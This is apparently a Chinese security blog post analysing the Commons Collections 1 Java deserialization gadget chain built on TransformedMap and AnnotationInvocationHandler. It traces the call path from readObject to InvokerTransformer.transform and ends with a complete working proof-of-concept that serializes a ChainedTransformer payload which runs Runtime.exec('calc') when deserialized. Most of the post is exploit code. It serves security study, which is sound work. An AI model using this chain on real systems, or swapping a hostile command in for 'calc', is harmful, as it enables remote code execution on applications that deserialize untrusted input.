CC1_TransformedMap

S1naG0u Lv2

本文详细分析了Commons Collections 1链中TransformedMap的利用原理,包括Transformer接口、InvokerTransformer危险方法以及完整的利用链分析。

危险方法分析

transformer接口

1
2
3
4
5
public interface Transformer {

public Object transform(Object input);

}

Transformer是一个接口类,提供了一个对象转换方法transform

InvokerTransformer.transform()(危险方法)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

此处超级危险,直接就是一个反射调用并且参数可控

利用链分析

TransformedMap.checkSetValue()

1
2
3
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

此处valueTransformer的值可控,可以通过decorate()方法传入参数

1
2
3
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}

所以有

TransformedMap.checkSetValue()

->InvokerTransformer.transform()

AbstractInputCheckedMapDecorator.MapEntry.setValue()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static class MapEntry extends AbstractMapEntryDecorator {

/** The parent map */
private final AbstractInputCheckedMapDecorator parent;

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}

public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}

当Map被遍历时,可以使用setValue()方法

并且刚刚好TransformedMap继承了AbstractInputCheckedMapDecorator也就是当TransformedMap被遍历时刚刚好可以使用TransformedMap.setValue()触发parent.checkSetValue(value)

所以有:

遍历TransformedMap

->TransformedMap.setValue()

->TransformedMap.checkSetValue()

->InvokerTransformer.transform()

AnnotationInvocationHandler.readObject()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

此处刚刚好遍历了一个memberValues并且调用了memberValue.setValue刚刚好可以用来当作上述的链子的入口点

所以就有了

AnnotationInvocationHandler.readObject()

->遍历TransformedMap

->TransformedMap.setValue()

->TransformedMap.checkSetValue()

->InvokerTransformer.transform()

此时的代码写为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static void main(String[] args) throws Exception {
Runtime r=Runtime.*getRuntime*();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map=new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedmap=TransformedMap.*decorate*(map,null,invokerTransformer);

//反射获取AnnotationInvocationHandler类
Class c=Class.*forName*("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class); //获取构造器
constructor.setAccessible(true); //修改作用域
constructor.newInstance(Override.class,transformedmap); //这里第一个是参数是注解的类原型,第二个就是我们之前的类
serialize(o); //序列化
unserialize("C://java/CC1.txt"); //反序列化

}

发现无法执行

利用链构造

问题一:Runtime无法被反序列化

Runtime类无法被序列化,但是刚刚好可以通过InvokerTransformer.transform()方法通过获取Runtime.class避开无法序列化并且执行

具体写法为:

1
2
3
4
5
Method getRuntime= (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//这里模拟获取getRuntime方法,它的具体操作步骤类似之前
Runtime r=(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime);
//这里模拟获取invoke方法
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

写出来发现太过繁琐,刚刚好Commons Collections库中存在的ChainedTransformer类,它也存在transform方法可以帮我们遍历InvokerTransformer,并且调用transform方法:

1
2
3
4
5
6
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

所以可以写成

1
2
3
4
5
6
7
8
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

问题二:AnnotationInvocationHandler.readObject()中的if

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}

此处,需要满足的为:memberValue中key的值和memberTypes的值相同

所以要设置map中的key值为value而创建的AnnotationInvocationHandler对象的第一个参数为Target.class刚刚好就可以满足这个要求

问题三:readObject中setValue方法的value不可控

1
2
3
4
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));

此处value的值不可控,而根据调用链推导value的值直接决定最后InvokerTransformer.transform()操作的类

使用一个ConstantTransformer.transform()刚刚好可以解决这个问题

1
2
3
4
5
6
7
8
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}

public Object transform(Object input) {
return iConstant;
}

可以看到此方法的作用为传入一个值然后返回构造时传入的值

也就是说在构造时传入一个Runtime.class不管transform传入一个什么input都会返回一个Runtime.class刚刚好可以给ChainedTransformer.transform()递归调用,代码为:

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class CC1_TransformedMap {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> Hashmap = new HashMap<>();
Hashmap.put("value","world");
Map<Object,Object> map = TransformedMap.decorate(Hashmap,null,chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Target.class,map);

Serialize(o);
UnSerialize("CC1_TransformedMap.bin");
}

public static void Serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC1_TransformedMap.bin"));
oos.writeObject(obj);
}

public static void UnSerialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
ois.readObject();
}
}
  • 标题: CC1_TransformedMap
  • 作者: S1naG0u
  • 创建于 : 2025-03-03 16:18:27
  • 更新于 : 2025-08-12 16:15:50
  • 链接: https://s1nag0u.github.io/2025/03/03/CC1_TransformedMap/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。